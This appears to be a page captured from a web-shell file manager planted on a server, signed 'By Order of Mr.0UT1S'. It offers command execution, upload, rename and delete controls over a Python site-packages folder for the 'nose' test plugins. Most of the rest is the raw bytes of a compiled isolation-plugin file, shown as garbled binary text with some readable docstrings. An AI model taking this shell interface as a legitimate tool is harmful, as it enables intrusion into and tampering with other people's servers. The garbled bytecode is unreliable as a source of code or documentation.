opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
nose
/
plugins
/
__pycache__
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
__init__.cpython-312.pyc
6.40 KB
Rename
Delete
allmodules.cpython-312.pyc
2.30 KB
Rename
Delete
attrib.cpython-312.pyc
9.89 KB
Rename
Delete
base.cpython-312.pyc
30.22 KB
Rename
Delete
builtin.cpython-312.pyc
1.16 KB
Rename
Delete
capture.cpython-312.pyc
5.10 KB
Rename
Delete
collect.cpython-312.pyc
4.97 KB
Rename
Delete
cover.cpython-312.pyc
13.92 KB
Rename
Delete
debug.cpython-312.pyc
3.08 KB
Rename
Delete
deprecated.cpython-312.pyc
2.11 KB
Rename
Delete
doctests.cpython-312.pyc
21.00 KB
Rename
Delete
errorclass.cpython-312.pyc
9.29 KB
Rename
Delete
failuredetail.cpython-312.pyc
2.27 KB
Rename
Delete
isolate.cpython-312.pyc
5.18 KB
Rename
Delete
logcapture.cpython-312.pyc
12.53 KB
Rename
Delete
manager.cpython-312.pyc
21.72 KB
Rename
Delete
multiprocess.cpython-312.pyc
38.25 KB
Rename
Delete
plugintest.cpython-312.pyc
17.02 KB
Rename
Delete
prof.cpython-312.pyc
6.64 KB
Rename
Delete
skip.cpython-312.pyc
2.46 KB
Rename
Delete
testid.cpython-312.pyc
11.73 KB
Rename
Delete
xunit.cpython-312.pyc
16.28 KB
Rename
Delete
� ��g� � �^ � d Z ddlZddlZddlmZ ej d� Z G d� de� Zy)a� The isolation plugin resets the contents of sys.modules after running each test module or package. Use it by setting ``--with-isolation`` or the NOSE_WITH_ISOLATION environment variable. The effects are similar to wrapping the following functions around the import and execution of each test module:: def setup(module): module._mods = sys.modules.copy() def teardown(module): to_del = [ m for m in sys.modules.keys() if m not in module._mods ] for mod in to_del: del sys.modules[mod] sys.modules.update(module._mods) Isolation works only during lazy loading. In normal use, this is only during discovery of modules within a directory, where the process of importing, loading tests and running tests from each module is encapsulated in a single loadTestsFromName call. This plugin implements loadTestsFromNames to force the same lazy-loading there, which allows isolation to work in directed mode as well as discovery, at the cost of some efficiency: lazy-loading names forces full context setup and teardown to run for each name, defeating the grouping that is normally used to ensure that context setup and teardown are run the fewest possible times for a given set of names. .. warning :: This plugin should not be used in conjunction with other plugins that assume that modules, once imported, will stay imported; for instance, it may cause very odd results when used with the coverage plugin. � N)�Pluginznose.plugins.isolationc �8 � e Zd ZdZdZdZd� Zd� Zd� Zd d�Z d � Z y)�IsolationPlugina� Activate the isolation plugin to isolate changes to external modules to a single test module or package. The isolation plugin resets the contents of sys.modules after each test module or package runs to its state before the test. PLEASE NOTE that this plugin should not be used with the coverage plugin, or in any other case where module reloading may produce undesirable side-effects. � � isolationc �@ � t j | ||� g | _ y)zConfigure plugin. N)r � configure� _mod_stack)�self�options�confs �C/opt/hc_python/lib/python3.12/site-packages/nose/plugins/isolate.pyr zIsolationPlugin.configure: s � � ����w��-���� c �v � t j j � }| j j |� y)z+Copy sys.modules onto my mod stack N)�sys�modules�copyr �append)r �modss r � beforeContextzIsolationPlugin.beforeContext@ s( � � �{�{���!�������t�$r c �R � | j j � }t t j j � � D �cg c] }||vs�|�� }}|r.t j d|� |D ] }t j |= � t j j |� yc c}w )zkPop my mod stack and restore sys.modules to the state it was in when mod stack was pushed. z removing sys modules entries: %sN) r �pop�listr r �keys�log�debug�update)r r �m�to_del�mods r �afterContextzIsolationPlugin.afterContextF s� � � ���"�"�$��"�3�;�;�#3�#3�#5�6�I�6��!�4�-�1�6��I���I�I�8�&�A����K�K��$� ������4� �� Js � B$�B$Nc � ����� �rt �� dk( ry| j �| j j �����fd�}�j |� g fS )z�Create a lazy suite that calls beforeContext and afterContext around each name. The side-effect of this is that full context fixtures will be set up and torn down around each test named. � Nc 3 � �K � �D ]7 } �j � �j | ��� �� �j � �9 y �w)N)�module)r �loadTestsFromNamer! )�name�loaderr% �names�pluginss ����r �lazyz0IsolationPlugin.loadTestsFromNames.<locals>.lazy\ s? �� �� ����%�%�'��.�.�t�F�.�C�C��$�$�&� �s �>A)�lenr( r r* � suiteClass)r r) r% r+ r( r* s `` @@r �loadTestsFromNamesz"IsolationPlugin.loadTestsFromNamesR sJ �� � ��E� �a��������)�)�#�#�� '� �!�!�$�'��,�,r c � � || _ y)zJGet handle on test loader so we can use it in loadTestsFromNames. N)r( )r r( s r �prepareTestLoaderz!IsolationPlugin.prepareTestLoaderc s � � ��r )N)�__name__� __module__�__qualname__�__doc__�scorer'